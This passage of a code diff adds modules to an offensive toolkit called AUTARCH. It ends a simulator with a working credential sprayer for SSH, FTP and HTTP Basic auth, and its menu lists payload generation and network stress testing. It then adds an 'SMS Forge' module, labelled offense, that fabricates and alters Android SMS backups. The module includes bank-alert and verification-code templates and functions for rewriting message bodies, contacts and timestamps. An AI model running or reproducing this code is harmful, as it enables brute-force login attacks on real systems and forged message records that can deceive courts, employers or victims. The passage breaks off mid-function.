{Colors.GREEN}{len(results)}{Colors.RESET}") + + if results: + print(f"\n{Colors.GREEN}Valid Credentials:{Colors.RESET}") + for r in results: + print(f" {Colors.GREEN}[+]{Colors.RESET} {r['user']}:{r['password']}") + + def _spray_ssh(self, target: str, port: int, user: str, password: str) -> bool: + """Try SSH login with given credentials.""" + try: + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(target, port=port, username=user, password=password, timeout=5, + allow_agent=False, look_for_keys=False) + client.close() + return True + except ImportError: + # Fallback to sshpass + success, _ = self.run_cmd( + f"sshpass -p '{password}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p {port} {user}@{target} exit", + timeout=10 + ) + return success + except: + return False + + def _spray_ftp(self, target: str, port: int, user: str, password: str) -> bool: + """Try FTP login with given credentials.""" + try: + ftp = ftplib.FTP() + ftp.connect(target, port, timeout=5) + ftp.login(user, password) + ftp.quit() + return True + except: + return False + + def _spray_http_basic(self, target: str, port: int, user: str, password: str) -> bool: + """Try HTTP Basic Auth with given credentials.""" + try: + url = f"http://{target}:{port}/" + credentials = base64.b64encode(f"{user}:{password}".encode()).decode() + req = urllib.request.Request(url, headers={ + 'Authorization': f'Basic {credentials}', + 'User-Agent': 'Mozilla/5.0', + }) + with urllib.request.urlopen(req, timeout=5) as response: + return response.getcode() not in [401, 403] + except urllib.error.HTTPError as e: + return e.code not in [401, 403] + except: + return False + + def _run_spray(self, protocol: str, target: str, port: int, + usernames: list, passwords: list, delay: float = 1.0) -> list: + """Execute the credential spray.""" + spray_funcs = { + 'ssh': self._spray_ssh, + 'ftp': self._spray_ftp, + 'http': self._spray_http_basic, + } + + spray_func = spray_funcs.get(protocol) + if not spray_func: + self.print_status(f"Unsupported protocol: {protocol}", "error") + return [] + + successes = [] + attempt = 0 + max_attempts = 500 + + print(f"\n{Colors.CYAN}Starting spray...{Colors.RESET}\n") + + for user in usernames: + for password in passwords: + attempt += 1 + if attempt > max_attempts: + self.print_status(f"Max attempts ({max_attempts}) reached", "warning") + return successes + + print(f"\r{Colors.DIM} [{attempt}] Trying {user}:{password[:15]}...{Colors.RESET}", end='', flush=True) + + try: + result = spray_func(target, port, user, password) + if result: + print(f"\r{' ' * 60}\r {Colors.GREEN}[+] SUCCESS: {user}:{password}{Colors.RESET}") + successes.append({'user': user, 'password': password}) + except: + pass + + time.sleep(delay) + + print(f"\r{' ' * 60}\r", end='') + return successes + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.YELLOW}{Colors.BOLD} Attack Simulation{Colors.RESET}") + print(f"{Colors.DIM} Red team exercises and testing{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.YELLOW}[1]{Colors.RESET} Password Audit") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Port Scanner") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Banner Grabber") + print(f" {Colors.YELLOW}[4]{Colors.RESET} Payload Generator") + print(f" {Colors.YELLOW}[5]{Colors.RESET} Network Stress Test") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Credential Sprayer") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.password_audit() + elif choice == "2": + self.port_scanner() + elif choice == "3": + self.banner_grabber() + elif choice == "4": + self.payload_generator() + elif choice == "5": + self.network_stress() + elif choice == "6": + self.credential_sprayer() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Simulator().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/sms_forge.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/sms_forge.py new file mode 100644 index 0000000..f3c7e03 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/sms_forge.py @@ -0,0 +1,1502 @@ +"""AUTARCH SMS/MMS Backup Forge + +Create and modify SMS/MMS backup XML files in the format used by +"SMS Backup & Restore" (SyncTech) -- the most popular Android SMS backup app. +Supports full conversation generation, template-based message creation, +bulk import/export, and timestamp manipulation. +""" + +DESCRIPTION = "SMS/MMS Backup Forge — Create & Modify Backup Conversations" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import csv +import json +import uuid +import time +import base64 +import html +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional, Any +from xml.etree import ElementTree as ET + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return Path(__file__).resolve().parent.parent / 'data' + + +# ── Module-level singleton ────────────────────────────────────────────────── + +_instance: Optional['SMSForge'] = None + + +def get_sms_forge() -> 'SMSForge': + """Return the module singleton, creating it on first call.""" + global _instance + if _instance is None: + _instance = SMSForge() + return _instance + + +# ── Built-in Conversation Templates ──────────────────────────────────────── + +BUILTIN_TEMPLATES = { + "business_meeting": { + "name": "Business Meeting", + "description": "Scheduling a meeting, confirming time and place", + "messages": [ + {"body": "Hi {contact}, are you available for a meeting on {date}?", "type": 2, "delay_minutes": 0}, + {"body": "Let me check my schedule. What time works for you?", "type": 1, "delay_minutes": 12}, + {"body": "How about {time} at {location}?", "type": 2, "delay_minutes": 5}, + {"body": "That works for me. I'll bring the {topic} documents.", "type": 1, "delay_minutes": 8}, + {"body": "Perfect. See you then!", "type": 2, "delay_minutes": 3}, + {"body": "See you there. Thanks for setting this up.", "type": 1, "delay_minutes": 2}, + ], + "variables": ["contact", "date", "time", "location", "topic"], + }, + "casual_chat": { + "name": "Casual Chat", + "description": "General friendly conversation between friends", + "messages": [ + {"body": "Hey {contact}! How's it going?", "type": 2, "delay_minutes": 0}, + {"body": "Hey! Pretty good, just got back from {activity}. You?", "type": 1, "delay_minutes": 15}, + {"body": "Nice! I've been {my_activity}. We should hang out soon.", "type": 2, "delay_minutes": 7}, + {"body": "Definitely! How about {day}?", "type": 1, "delay_minutes": 4}, + {"body": "Sounds great, let's do it. I'll text you the details later.", "type": 2, "delay_minutes": 3}, + {"body": "Cool, talk to you later!", "type": 1, "delay_minutes": 1}, + ], + "variables": ["contact", "activity", "my_activity", "day"], + }, + "delivery_notification": { + "name": "Delivery Notification", + "description": "Package tracking updates from a delivery service", + "messages": [ + {"body": "Your order #{order_id} has been shipped! Track at: {tracking_url}", "type": 1, "delay_minutes": 0}, + {"body": "Update: Your package is out for delivery today. Estimated arrival: {eta}.", "type": 1, "delay_minutes": 1440}, + {"body": "Your package has been delivered! Left at: {location}.", "type": 1, "delay_minutes": 360}, + ], + "variables": ["order_id", "tracking_url", "eta", "location"], + }, + "verification_codes": { + "name": "Verification Codes", + "description": "OTP/2FA codes from various services", + "messages": [ + {"body": "Your {service} verification code is: {code}. Do not share this code.", "type": 1, "delay_minutes": 0}, + {"body": "{service2} security code: {code2}. This code expires in 10 minutes.", "type": 1, "delay_minutes": 120}, + {"body": "Your {service3} login code is {code3}. If you didn't request this, ignore this message.", "type": 1, "delay_minutes": 240}, + ], + "variables": ["service", "code", "service2", "code2", "service3", "code3"], + }, + "bank_alerts": { + "name": "Bank Alerts", + "description": "Bank transaction notifications and alerts", + "messages": [ + {"body": "{bank}: Purchase of ${amount} at {merchant} on card ending {card_last4}. Balance: ${balance}.", "type": 1, "delay_minutes": 0}, + {"body": "{bank}: Direct deposit of ${deposit_amount} received. New balance: ${new_balance}.", "type": 1, "delay_minutes": 4320}, + {"body": "{bank} Alert: Unusual activity detected on your account. If this was not you, call {phone}.", "type": 1, "delay_minutes": 2880}, + {"body": "{bank}: Your scheduled payment of ${payment_amount} to {payee} has been processed.", "type": 1, "delay_minutes": 1440}, + ], + "variables": ["bank", "amount", "merchant", "card_last4", "balance", + "deposit_amount", "new_balance", "phone", + "payment_amount", "payee"], + }, + "custom": { + "name": "Custom", + "description": "Empty template for user-defined conversations", + "messages": [], + "variables": [], + }, +} + + +# ── SMS Forge Class ───────────────────────────────────────────────────────── + +class SMSForge: + """Create, modify, and export SMS/MMS backup XML files.""" + + def __init__(self): + self._data_dir = Path(get_data_dir()) / 'sms_forge' + self._data_dir.mkdir(parents=True, exist_ok=True) + self._messages: List[Dict[str, Any]] = [] + self._backup_set: str = self._generate_uuid() + self._backup_date: int = int(time.time() * 1000) + self._backup_type: str = "full" + self._custom_templates: Dict[str, dict] = {} + self._load_custom_templates() + + # ── Backup Management ─────────────────────────────────────────────────── + + def create_backup(self, messages: List[Dict[str, Any]], output_path: str) -> Dict[str, Any]: + """Create a new SMS Backup & Restore XML file from a list of message dicts. + + Each message dict should have at minimum: + address, body, type (for SMS) or msg_box (for MMS) + Optional: timestamp, contact_name, read, locked, attachments + """ + self._messages = [] + for msg in messages: + if msg.get('is_mms') or msg.get('attachments'): + self.add_mms( + address=msg.get('address', ''), + body=msg.get('body', ''), + attachments=msg.get('attachments', []), + msg_box=msg.get('msg_box', msg.get('type', 1)), + timestamp=msg.get('timestamp') or msg.get('date'), + contact_name=msg.get('contact_name', '(Unknown)'), + ) + else: + self.add_sms( + address=msg.get('address', ''), + body=msg.get('body', ''), + msg_type=msg.get('type', 1), + timestamp=msg.get('timestamp') or msg.get('date'), + contact_name=msg.get('contact_name', '(Unknown)'), + read=msg.get('read', 1), + locked=msg.get('locked', 0), + ) + return self.save_backup(output_path) + + def load_backup(self, xml_path: str) -> Dict[str, Any]: + """Parse existing backup XML into internal format.""" + path = Path(xml_path) + if not path.exists(): + return {'ok': False, 'error': f'File not found: {xml_path}'} + try: + tree = ET.parse(str(path)) + root = tree.getroot() + if root.tag != 'smses': + return {'ok': False, 'error': 'Invalid XML: root element must be '} + + self._backup_set = root.get('backup_set', self._generate_uuid()) + self._backup_date = int(root.get('backup_date', str(int(time.time() * 1000)))) + self._backup_type = root.get('type', 'full') + self._messages = [] + + for elem in root: + if elem.tag == 'sms': + msg = { + 'msg_kind': 'sms', + 'protocol': elem.get('protocol', '0'), + 'address': elem.get('address', ''), + 'date': int(elem.get('date', '0')), + 'type': int(elem.get('type', '1')), + 'subject': elem.get('subject', 'null'), + 'body': elem.get('body', ''), + 'toa': elem.get('toa', 'null'), + 'sc_toa': elem.get('sc_toa', 'null'), + 'service_center': elem.get('service_center', 'null'), + 'read': int(elem.get('read', '1')), + 'status': int(elem.get('status', '-1')), + 'locked': int(elem.get('locked', '0')), + 'sub_id': elem.get('sub_id', '-1'), + 'readable_date': elem.get('readable_date', ''), + 'contact_name': elem.get('contact_name', '(Unknown)'), + } + self._messages.append(msg) + elif elem.tag == 'mms': + msg = self._parse_mms_element(elem) + self._messages.append(msg) + + return { + 'ok': True, + 'count': len(self._messages), + 'backup_set': self._backup_set, + 'backup_date': self._backup_date, + } + except ET.ParseError as e: + return {'ok': False, 'error': f'XML parse error: {e}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def _parse_mms_element(self, elem: ET.Element) -> Dict[str, Any]: + """Parse a single element into a dict.""" + msg: Dict[str, Any] = { + 'msg_kind': 'mms', + 'date': int(elem.get('date', '0')), + 'ct_t': elem.get('ct_t', 'application/vnd.wap.multipart.related'), + 'msg_box': int(elem.get('msg_box', '1')), + 'address': elem.get('address', ''), + 'sub': elem.get('sub', 'null'), + 'retr_st': elem.get('retr_st', 'null'), + 'd_tm': elem.get('d_tm', 'null'), + 'exp': elem.get('exp', 'null'), + 'locked': int(elem.get('locked', '0')), + 'm_id': elem.get('m_id', 'null'), + 'st': elem.get('st', 'null'), + 'retr_txt_cs': elem.get('retr_txt_cs', 'null'), + 'retr_txt': elem.get('retr_txt', 'null'), + 'creator': elem.get('creator', 'null'), + 'date_sent': elem.get('date_sent', '0'), + 'seen': int(elem.get('seen', '1')), + 'm_size': elem.get('m_size', 'null'), + 'rr': elem.get('rr', '129'), + 'sub_cs': elem.get('sub_cs', 'null'), + 'resp_st': elem.get('resp_st', 'null'), + 'ct_cls': elem.get('ct_cls', 'null'), + 'm_cls': elem.get('m_cls', 'personal'), + 'd_rpt': elem.get('d_rpt', '129'), + 'v': elem.get('v', '18'), + '_id': elem.get('_id', '1'), + 'tr_id': elem.get('tr_id', 'null'), + 'resp_txt': elem.get('resp_txt', 'null'), + 'ct_l': elem.get('ct_l', 'null'), + 'm_type': elem.get('m_type', '132'), + 'readable_date': elem.get('readable_date', ''), + 'contact_name': elem.get('contact_name', '(Unknown)'), + 'pri': elem.get('pri', '129'), + 'sub_id': elem.get('sub_id', '-1'), + 'text_only': elem.get('text_only', '0'), + 'parts': [], + 'addrs': [], + 'body': '', + } + + parts_elem = elem.find('parts') + if parts_elem is not None: + for part_elem in parts_elem.findall('part'): + part = { + 'seq': part_elem.get('seq', '0'), + 'ct': part_elem.get('ct', 'text/plain'), + 'name': part_elem.get('name', 'null'), + 'chset': part_elem.get('chset', 'null'), + 'cd': part_elem.get('cd', 'null'), + 'fn': part_elem.get('fn', 'null'), + 'cid': part_elem.get('cid', 'null'), + 'cl': part_elem.get('cl', 'null'), + 'ctt_s': part_elem.get('ctt_s', 'null'), + 'ctt_t': part_elem.get('ctt_t', 'null'), + 'text': part_elem.get('text', 'null'), + 'data': part_elem.get('data', 'null'), + } + msg['parts'].append(part) + # Extract body text from text/plain part + if part['ct'] == 'text/plain' and part['text'] != 'null': + msg['body'] = part['text'] + + addrs_elem = elem.find('addrs') + if addrs_elem is not None: + for addr_elem in addrs_elem.findall('addr'): + addr = { + 'address': addr_elem.get('address', ''), + 'type': addr_elem.get('type', '137'), + 'charset': addr_elem.get('charset', '106'), + } + msg['addrs'].append(addr) + + return msg + + def save_backup(self, output_path: str) -> Dict[str, Any]: + """Save current state to XML in SMS Backup & Restore format.""" + try: + xml_str = self._build_xml() + out = Path(output_path) + out.parent.mkdir(parents=True, exist_ok=True) + out.write_text(xml_str, encoding='utf-8') + return { + 'ok': True, + 'path': str(out), + 'count': len(self._messages), + 'size': out.stat().st_size, + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def merge_backups(self, paths: List[str]) -> Dict[str, Any]: + """Merge multiple backup files, deduplicating by date+address+body.""" + seen = set() + for msg in self._messages: + seen.add(self._dedup_key(msg)) + + added = 0 + errors = [] + for p in paths: + try: + tree = ET.parse(p) + root = tree.getroot() + if root.tag != 'smses': + errors.append(f'{p}: root element is not ') + continue + + for elem in root: + if elem.tag == 'sms': + key = f"{elem.get('date', '0')}|{elem.get('address', '')}|{elem.get('body', '')}" + if key not in seen: + seen.add(key) + msg = { + 'msg_kind': 'sms', + 'protocol': elem.get('protocol', '0'), + 'address': elem.get('address', ''), + 'date': int(elem.get('date', '0')), + 'type': int(elem.get('type', '1')), + 'subject': elem.get('subject', 'null'), + 'body': elem.get('body', ''), + 'toa': elem.get('toa', 'null'), + 'sc_toa': elem.get('sc_toa', 'null'), + 'service_center': elem.get('service_center', 'null'), + 'read': int(elem.get('read', '1')), + 'status': int(elem.get('status', '-1')), + 'locked': int(elem.get('locked', '0')), + 'sub_id': elem.get('sub_id', '-1'), + 'readable_date': elem.get('readable_date', ''), + 'contact_name': elem.get('contact_name', '(Unknown)'), + } + self._messages.append(msg) + added += 1 + elif elem.tag == 'mms': + mms_msg = self._parse_mms_element(elem) + key = self._dedup_key(mms_msg) + if key not in seen: + seen.add(key) + self._messages.append(mms_msg) + added += 1 + except Exception as e: + errors.append(f'{p}: {e}') + + self._messages.sort(key=lambda m: m.get('date', 0)) + result: Dict[str, Any] = { + 'ok': True, + 'total': len(self._messages), + 'added': added, + } + if errors: + result['errors'] = errors + return result + + def _dedup_key(self, msg: Dict[str, Any]) -> str: + """Generate a deduplication key from a message dict.""" + date_val = str(msg.get('date', '0')) + addr = msg.get('address', '') + body = msg.get('body', '') + if msg.get('msg_kind') == 'mms' and not body: + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null': + body = part['text'] + break + return f"{date_val}|{addr}|{body}" + + def get_backup_stats(self) -> Dict[str, Any]: + """Return stats: message count, contacts, date range, SMS/MMS breakdown.""" + if not self._messages: + return { + 'total': 0, + 'sms_count': 0, + 'mms_count': 0, + 'contacts': [], + 'date_range': None, + 'sent': 0, + 'received': 0, + } + + sms_count = sum(1 for m in self._messages if m.get('msg_kind') == 'sms') + mms_count = sum(1 for m in self._messages if m.get('msg_kind') == 'mms') + + contacts: Dict[str, Dict[str, Any]] = {} + for m in self._messages: + addr = m.get('address', '') + name = m.get('contact_name', '(Unknown)') + if addr not in contacts: + contacts[addr] = {'address': addr, 'name': name, 'count': 0} + contacts[addr]['count'] += 1 + + dates = [m.get('date', 0) for m in self._messages if m.get('date', 0) > 0] + date_range = None + if dates: + date_range = { + 'earliest': min(dates), + 'latest': max(dates), + 'earliest_readable': self._timestamp_to_readable(min(dates)), + 'latest_readable': self._timestamp_to_readable(max(dates)), + } + + sent = 0 + received = 0 + for m in self._messages: + if m.get('msg_kind') == 'sms': + if m.get('type') == 2: + sent += 1 + elif m.get('type') == 1: + received += 1 + elif m.get('msg_kind') == 'mms': + if m.get('msg_box') == 2: + sent += 1 + elif m.get('msg_box') == 1: + received += 1 + + return { + 'total': len(self._messages), + 'sms_count': sms_count, + 'mms_count': mms_count, + 'contacts': list(contacts.values()), + 'date_range': date_range, + 'sent': sent, + 'received': received, + 'backup_set': self._backup_set, + } + + # ── Message Creation ──────────────────────────────────────────────────── + + def add_sms(self, address: str, body: str, msg_type: int = 1, + timestamp: Optional[int] = None, contact_name: str = '(Unknown)', + read: int = 1, locked: int = 0) -> Dict[str, Any]: + """Add a single SMS message. + + Args: + address: Phone number (e.g. +15551234567) + body: Message text + msg_type: 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued + timestamp: Epoch milliseconds (defaults to now) + contact_name: Display name for contact + read: 1=read, 0=unread + locked: 0=unlocked, 1=locked + """ + if timestamp is None: + timestamp = int(time.time() * 1000) + + msg = { + 'msg_kind': 'sms', + 'protocol': '0', + 'address': address, + 'date': timestamp, + 'type': msg_type, + 'subject': 'null', + 'body': body, + 'toa': 'null', + 'sc_toa': 'null', + 'service_center': 'null', + 'read': read, + 'status': -1, + 'locked': locked, + 'sub_id': '-1', + 'readable_date': self._timestamp_to_readable(timestamp), + 'contact_name': contact_name, + } + self._messages.append(msg) + return {'ok': True, 'index': len(self._messages) - 1, 'date': timestamp} + + def add_mms(self, address: str, body: str = '', + attachments: Optional[List[Dict[str, str]]] = None, + msg_box: int = 1, timestamp: Optional[int] = None, + contact_name: str = '(Unknown)') -> Dict[str, Any]: + """Add an MMS message with optional attachments. + + Args: + address: Phone number + body: Text body of the MMS + attachments: List of dicts with keys: path (file path), content_type (MIME), + or data (base64 encoded), filename + msg_box: 1=received, 2=sent, 3=draft, 4=outbox + timestamp: Epoch milliseconds + contact_name: Display name + """ + if timestamp is None: + timestamp = int(time.time() * 1000) + if attachments is None: + attachments = [] + + parts: List[Dict[str, str]] = [] + has_media = len(attachments) > 0 + + # SMIL part (required for MMS with attachments) + if has_media: + smil_body = '' + smil_body += '' + smil_body += '' + smil_body += '' + if body: + smil_body += '' + for i, att in enumerate(attachments): + fname = att.get('filename', f'attachment_{i}') + ct = att.get('content_type', 'application/octet-stream') + if ct.startswith('image/'): + smil_body += f'' + elif ct.startswith('audio/'): + smil_body += f'' + parts.append({ + 'seq': '0', 'ct': 'application/smil', 'name': 'null', + 'chset': 'null', 'cd': 'null', 'fn': 'null', + 'cid': '', 'cl': 'smil.xml', + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': smil_body, 'data': 'null', + }) + + # Attachment parts + for i, att in enumerate(attachments): + fname = att.get('filename', f'attachment_{i}') + ct = att.get('content_type', 'application/octet-stream') + data = 'null' + if 'path' in att and os.path.isfile(att['path']): + data = self._encode_attachment(att['path']) + elif 'data' in att: + data = att['data'] + parts.append({ + 'seq': '0', 'ct': ct, 'name': fname, + 'chset': 'null', 'cd': 'null', 'fn': 'null', + 'cid': f'<{fname}>', 'cl': fname, + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': 'null', 'data': data, + }) + + # Text part + if body: + parts.append({ + 'seq': '0', 'ct': 'text/plain', 'name': 'null', + 'chset': '106', 'cd': 'null', 'fn': 'null', + 'cid': 'null', 'cl': 'txt000.txt', + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': body, 'data': 'null', + }) + + text_only = '1' if not has_media else '0' + + # Address records + addrs = [] + if msg_box == 1: + # Received: sender is type 137, self is type 151 + addrs.append({'address': address, 'type': '137', 'charset': '106'}) + addrs.append({'address': 'insert-address-token', 'type': '151', 'charset': '106'}) + else: + # Sent: self is type 137, recipient is type 151 + addrs.append({'address': 'insert-address-token', 'type': '137', 'charset': '106'}) + addrs.append({'address': address, 'type': '151', 'charset': '106'}) + + msg: Dict[str, Any] = { + 'msg_kind': 'mms', + 'date': timestamp, + 'ct_t': 'application/vnd.wap.multipart.related', + 'msg_box': msg_box, + 'address': address, + 'sub': 'null', + 'retr_st': 'null', + 'd_tm': 'null', + 'exp': 'null', + 'locked': 0, + 'm_id': 'null', + 'st': 'null', + 'retr_txt_cs': 'null', + 'retr_txt': 'null', + 'creator': 'null', + 'date_sent': '0', + 'seen': 1, + 'm_size': 'null', + 'rr': '129', + 'sub_cs': 'null', + 'resp_st': 'null', + 'ct_cls': 'null', + 'm_cls': 'personal', + 'd_rpt': '129', + 'v': '18', + '_id': str(len(self._messages) + 1), + 'tr_id': 'null', + 'resp_txt': 'null', + 'ct_l': 'null', + 'm_type': '132', + 'readable_date': self._timestamp_to_readable(timestamp), + 'contact_name': contact_name, + 'pri': '129', + 'sub_id': '-1', + 'text_only': text_only, + 'parts': parts, + 'addrs': addrs, + 'body': body, + } + self._messages.append(msg) + return {'ok': True, 'index': len(self._messages) - 1, 'date': timestamp} + + def add_conversation(self, address: str, contact_name: str, + messages: List[Dict[str, Any]], + start_timestamp: Optional[int] = None) -> Dict[str, Any]: + """Add a full conversation from a list of message dicts. + + Each message dict: {body: str, type: int (1=received, 2=sent), delay_minutes: int} + """ + if start_timestamp is None: + start_timestamp = int(time.time() * 1000) + + current_ts = start_timestamp + added = 0 + for msg in messages: + delay = msg.get('delay_minutes', 0) + current_ts += delay * 60 * 1000 + self.add_sms( + address=address, + body=msg.get('body', ''), + msg_type=msg.get('type', 1), + timestamp=current_ts, + contact_name=contact_name, + read=msg.get('read', 1), + locked=msg.get('locked', 0), + ) + added += 1 + + return { + 'ok': True, + 'added': added, + 'start': start_timestamp, + 'end': current_ts, + } + + def generate_conversation(self, address: str, contact_name: str, + template: str, variables: Optional[Dict[str, str]] = None, + start_timestamp: Optional[int] = None) -> Dict[str, Any]: + """Generate a conversation from a template with variable substitution. + + Args: + address: Phone number + contact_name: Display name + template: Template name (e.g. 'business_meeting', 'casual_chat') + variables: Dict of variable names to values for substitution + start_timestamp: Starting epoch ms timestamp + """ + tmpl = self._get_template(template) + if tmpl is None: + return {'ok': False, 'error': f'Template not found: {template}'} + + if variables is None: + variables = {} + + messages = [] + for msg_tmpl in tmpl.get('messages', []): + body = msg_tmpl['body'] + for key, val in variables.items(): + body = body.replace('{' + key + '}', str(val)) + messages.append({ + 'body': body, + 'type': msg_tmpl.get('type', 1), + 'delay_minutes': msg_tmpl.get('delay_minutes', 0), + }) + + return self.add_conversation(address, contact_name, messages, start_timestamp) + + def bulk_add(self, csv_path: str) -> Dict[str, Any]: + """Import messages from CSV file. + + Expected CSV columns: address, body, type, timestamp, contact_name + """ + path = Path(csv_path) + if not path.exists(): + return {'ok': False, 'error': f'File not found: {csv_path}'} + try: + added = 0 + errors = [] + with open(str(path), 'r', encoding='utf-8', newline='') as f: + reader = csv.DictReader(f) + for row_num, row in enumerate(reader, start=2): + try: + address = row.get('address', '').strip() + body = row.get('body', '').strip() + msg_type = int(row.get('type', '1').strip()) + ts_str = row.get('timestamp', '').strip() + timestamp = int(ts_str) if ts_str else None + contact_name = row.get('contact_name', '(Unknown)').strip() + self.add_sms(address, body, msg_type, timestamp, contact_name) + added += 1 + except Exception as e: + errors.append(f'Row {row_num}: {e}') + result: Dict[str, Any] = {'ok': True, 'added': added} + if errors: + result['errors'] = errors + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Message Modification ──────────────────────────────────────────────── + + def find_messages(self, address: Optional[str] = None, + date_from: Optional[int] = None, + date_to: Optional[int] = None, + keyword: Optional[str] = None) -> List[Dict[str, Any]]: + """Search messages with filters. Returns list of {index, ...msg} dicts.""" + results = [] + for i, msg in enumerate(self._messages): + if address and msg.get('address', '') != address: + continue + msg_date = msg.get('date', 0) + if date_from and msg_date < date_from: + continue + if date_to and msg_date > date_to: + continue + if keyword: + body = msg.get('body', '') + if msg.get('msg_kind') == 'mms' and not body: + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null': + body = part['text'] + break + if keyword.lower() not in body.lower(): + continue + result = dict(msg) + result['index'] = i + results.append(result) + return results + + def modify_message(self, index: int, new_body: Optional[str] = None, + new_timestamp: Optional[int] = None, + new_contact: Optional[str] = None) -> Dict[str, Any]: + """Modify an existing message by index.""" + if index < 0 or index >= len(self._messages): + return {'ok': False, 'error': f'Invalid index: {index}'} + + msg = self._messages[index] + if new_body is not None: + if msg.get('msg_kind') == 'mms': + # Update text part in MMS + found_text = False + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain': + part['text'] = new_body + found_text = True + break + if not found_text: + msg.setdefault('parts', []).append({ + 'seq': '0', 'ct': 'text/plain', 'name': 'null', + 'chset': '106', 'cd': 'null', 'fn': 'null', + 'cid': 'null', 'cl': 'txt000.txt', + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': new_body, 'data': 'null', + }) + msg['body'] = new_body + else: + msg['body'] = new_body + + if new_timestamp is not None: + msg['date'] = new_timestamp + msg['readable_date'] = self._timestamp_to_readable(new_timestamp) + + if new_contact is not None: + msg['contact_name'] = new_contact + + return {'ok': True, 'index': index} + + def delete_messages(self, indices: List[int]) -> Dict[str, Any]: + """Delete messages by index. Indices are processed in reverse order.""" + valid = [i for i in sorted(set(indices), reverse=True) + if 0 <= i < len(self._messages)] + for i in valid: + self._messages.pop(i) + return {'ok': True, 'deleted': len(valid), 'remaining': len(self._messages)} + + def replace_contact(self, old_address: str, new_address: str, + new_name: Optional[str] = None) -> Dict[str, Any]: + """Change contact address (and optionally name) across all messages.""" + updated = 0 + for msg in self._messages: + if msg.get('address') == old_address: + msg['address'] = new_address + if new_name is not None: + msg['contact_name'] = new_name + updated += 1 + # Also update MMS addr records + for addr in msg.get('addrs', []): + if addr.get('address') == old_address: + addr['address'] = new_address + return {'ok': True, 'updated': updated} + + def shift_timestamps(self, address: Optional[str], offset_minutes: int) -> Dict[str, Any]: + """Shift all timestamps for a contact (or all messages if address is None).""" + offset_ms = offset_minutes * 60 * 1000 + shifted = 0 + for msg in self._messages: + if address is None or msg.get('address') == address: + msg['date'] = msg.get('date', 0) + offset_ms + msg['readable_date'] = self._timestamp_to_readable(msg['date']) + shifted += 1 + return {'ok': True, 'shifted': shifted, 'offset_minutes': offset_minutes} + + # ── Conversation Templates ────────────────────────────────────────────── + + def get_templates(self) -> Dict[str, Any]: + """Return all available conversation templates (built-in + custom).""" + templates = {} + for key, tmpl in BUILTIN_TEMPLATES.items(): + templates[key] = { + 'name': tmpl['name'], + 'description': tmpl['description'], + 'variables': tmpl.get('variables', []), + 'message_count': len(tmpl.get('messages', [])), + 'messages': tmpl.get('messages', []), + 'builtin': True, + } + for key, tmpl in self._custom_templates.items(): + templates[key] = { + 'name': tmpl.get('name', key), + 'description': tmpl.get('description', ''), + 'variables': tmpl.get('variables', []), + 'message_count': len(tmpl.get('messages', [])), + 'messages': tmpl.get('messages', []), + 'builtin': False, + } + return templates + + def save_custom_template(self, key: str, template: Dict[str, Any]) -> Dict[str, Any]: + """Save a custom template.""" + self._custom_templates[key] = template + self._save_custom_templates() + return {'ok': True, 'key': key} + + def delete_custom_template(self, key: str) -> Dict[str, Any]: + """Delete a custom template.""" + if key in self._custom_templates: + del self._custom_templates[key] + self._save_custom_templates() + return {'ok': True} + return {'ok': False, 'error': f'Template not found: {key}'} + + def _get_template(self, name: str) -> Optional[Dict[str, Any]]: + """Look up a template by name from built-in and custom templates.""" + if name in BUILTIN_TEMPLATES: + return BUILTIN_TEMPLATES[name] + if name in self._custom_templates: + return self._custom_templates[name] + return None + + def _load_custom_templates(self): + """Load custom templates from disk.""" + tmpl_file = self._data_dir / 'custom_templates.json' + if tmpl_file.exists(): + try: + self._custom_templates = json.loads(tmpl_file.read_text('utf-8')) + except Exception: + self._custom_templates = {} + + def _save_custom_templates(self): + """Persist custom templates to disk.""" + tmpl_file = self._data_dir / 'custom_templates.json' + tmpl_file.write_text(json.dumps(self._custom_templates, indent=2), encoding='utf-8') + + # ── Export / Import ───────────────────────────────────────────────────── + + def export_xml(self, path: str) -> Dict[str, Any]: + """Export current messages to SMS Backup & Restore XML format.""" + return self.save_backup(path) + + def import_xml(self, path: str) -> Dict[str, Any]: + """Import messages from an XML backup file (appends to current messages).""" + old_messages = list(self._messages) + old_backup_set = self._backup_set + old_backup_date = self._backup_date + result = self.load_backup(path) + if result.get('ok'): + new_messages = list(self._messages) + self._messages = old_messages + new_messages + self._backup_set = old_backup_set + self._backup_date = old_backup_date + result['added'] = len(new_messages) + result['total'] = len(self._messages) + else: + self._messages = old_messages + self._backup_set = old_backup_set + self._backup_date = old_backup_date + return result + + def export_csv(self, path: str) -> Dict[str, Any]: + """Export current messages to CSV format.""" + try: + out = Path(path) + out.parent.mkdir(parents=True, exist_ok=True) + 